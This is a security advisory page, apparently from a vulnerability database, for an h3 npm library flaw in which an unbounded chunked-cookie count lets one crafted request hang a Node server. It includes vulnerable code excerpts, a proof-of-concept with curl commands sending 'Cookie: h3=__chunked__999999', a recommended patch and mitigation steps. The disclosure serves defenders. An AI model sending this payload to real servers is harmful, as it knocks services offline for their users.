Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-86250 — h3

Fix: h3js/h3@399257c

CVE-2026-86250 is a Uncontrolled Resource Consumption vulnerability in h3. A fix is available for h3 — see the affected versions and patch details below.

h3 before 2.0.1-rc.18 Denial of Service via Unbounded Chunked Cookie

Also known asGHSA-q5pr-72pq-83v3
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-86250.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.33%0.66%0.99%0.5%0.5%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

767other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
h3npm
26.2Mdownloads / week

Description

Summary

The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.

Details

The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.

The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:

function getChunkedCookieCount(cookie: string | undefined): number {
  if (!cookie?.startsWith(CHUNKED_COOKIE)) {
    return Number.NaN;
  }
  return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
  // No upper bound check — attacker controls this value
}

This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:

const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
  const previousChunkCount = getChunkedCookieCount(previousCookie);
  if (previousChunkCount > chunkCount) {
    for (let i = chunkCount; i <= previousChunkCount; i++) {
      deleteCookie(event, chunkCookieName(name, i), options);
      // Each deleteCookie → setCookie → scans ALL existing set-cookie headers
    }
  }
}

The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:

const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
  for (let i = 0; i < chunksCount; i++) {
    deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
  }
}

The exploit chain through sessions:

  1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint
  2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)
  3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request
  4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)
  5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)
  6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182
  7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)
  8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie()
  9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)
  10. This creates O(n²) complexity — approximately 10¹² operations for n=999999

Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.

PoC

Prerequisites: An h3 application with any endpoint using getSession() or useSession().

Example minimal server:

import { H3 } from "h3";
import { getSession } from "h3";

const app = new H3();

app.get("/dashboard", async (event) => {
  const session = await getSession(event, {
    password: "my-secret-password-at-least-32-chars-long!",
  });
  return { user: session.data.user || "anonymous" };
});

export default app;

Attack (single request, no authentication):

# This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard

For a less extreme but still impactful test:

# ~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard

The deleteChunkedCookie() path is exploitable via clearSession():

app.post("/logout", async (event) => {
  await clearSession(event, {
    password: "my-secret-password-at-least-32-chars-long!",
  });
  return { ok: true };
});
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout

Impact

  • Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
  • No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
  • Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat.
  • Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.
  • Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.

Recommended Fix

Add a maximum chunk count constant and validate in getChunkedCookieCount():

const MAX_CHUNKED_COOKIE_COUNT = 100;

function getChunkedCookieCount(cookie: string | undefined): number {
  if (!cookie?.startsWith(CHUNKED_COOKIE)) {
    return Number.NaN;
  }
  const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
  if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
    return Number.NaN;
  }
  return count;
}

This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.

Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0 is false.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmh3≥ 2.0.0-beta.4&&< 2.0.1-rc.182.0.1-rc.18npm install h3@2.0.1-rc.18

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for h3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update h3 to 2.0.1-rc.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-86250 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Important: A denial of service flaw in the h3 library, affecting Red Hat OpenShift AI, allows a remote unauthenticated attacker to send a specially crafted cookie header. This can trigger an inefficient cleanup loop, leading to resource exhaustion and rendering the server unresponsive.

Workaround published by Red Hat
To mitigate this issue, restrict network access to services utilizing the h3 component, such as odh-feature-server-rhel9 in Red Hat OpenShift AI, to trusted clients and networks only. Implement firewall rules to limit exposure of the affected service ports. This operational control reduces the attack surface by preventing untrusted external access. If the service is reloaded or restarted, ensure firewall rules persist.
Source: Red Hat security advisory for CVE-2026-86250 (CC BY 4.0)

Frequently Asked Questions

## Summary The `setChunkedCookie()` and `deleteChunkedCookie()` functions in h3 trust the chunk count parsed from a user-controlled cookie value (`__chunked__N`) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., `Cookie: h3=__chunked__999999`) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process. ## Details The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value `__chunked__N` indicating how many
O3 Security · Impact-Aware SCA

Is CVE-2026-86250 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-86250: h3 DoS — Fixed in 2.0.1-rc.18